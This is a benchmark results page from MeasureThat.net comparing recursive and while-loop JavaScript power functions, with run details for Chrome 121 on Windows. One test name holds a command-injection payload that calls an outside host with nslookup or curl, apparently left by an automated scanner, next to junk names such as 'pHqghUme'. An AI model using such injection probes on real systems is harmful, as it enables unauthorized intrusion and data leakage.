Toggle navigation
MeasureThat.net
Create a benchmark
Tools
Feedback
FAQ
Register
Log In
Run results for:
Factorial math
Go to the benchmark
Embed
Embed Benchmark Result
Run details:
User agent:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Browser:
Chrome 121
Operating system:
Windows
Device Platform:
Desktop
Date tested:
one year ago
Test name
Executions per second
`(nslookup -q=cname hitkzeficmtuse595b.bxss.me||curl hitkzeficmtuse595b.bxss.me)`
1.0 Ops/sec
pHqghUme
1.0 Ops/sec
pHqghUme
1.0 Ops/sec
Tests:
Recursive
function pangkatRec(x, y) { if (y < 0) { return 0 } else if (y == 0) { return 1 } else { return x * pangkatRec(x, y - 1) } } pangkatRec(2, 3)
While loop
function pangkatImperatives(x, y) { if (y < 0) { return 0; } else if (y === 0) { return 1; } else { let result = 1; while (y > 0) { result *= x; y--; } return result; } } pangkatImperatives(2, 3)
While loop (other)
function pangkatImperatives(x, y) { let n = y + 1; // n+1 let result = 0; while (n--) { if (result < 0) { result = 0 } else if (result == 0){ result = 1 } else { result *= x; } } return result } pangkatImperatives(2, 3)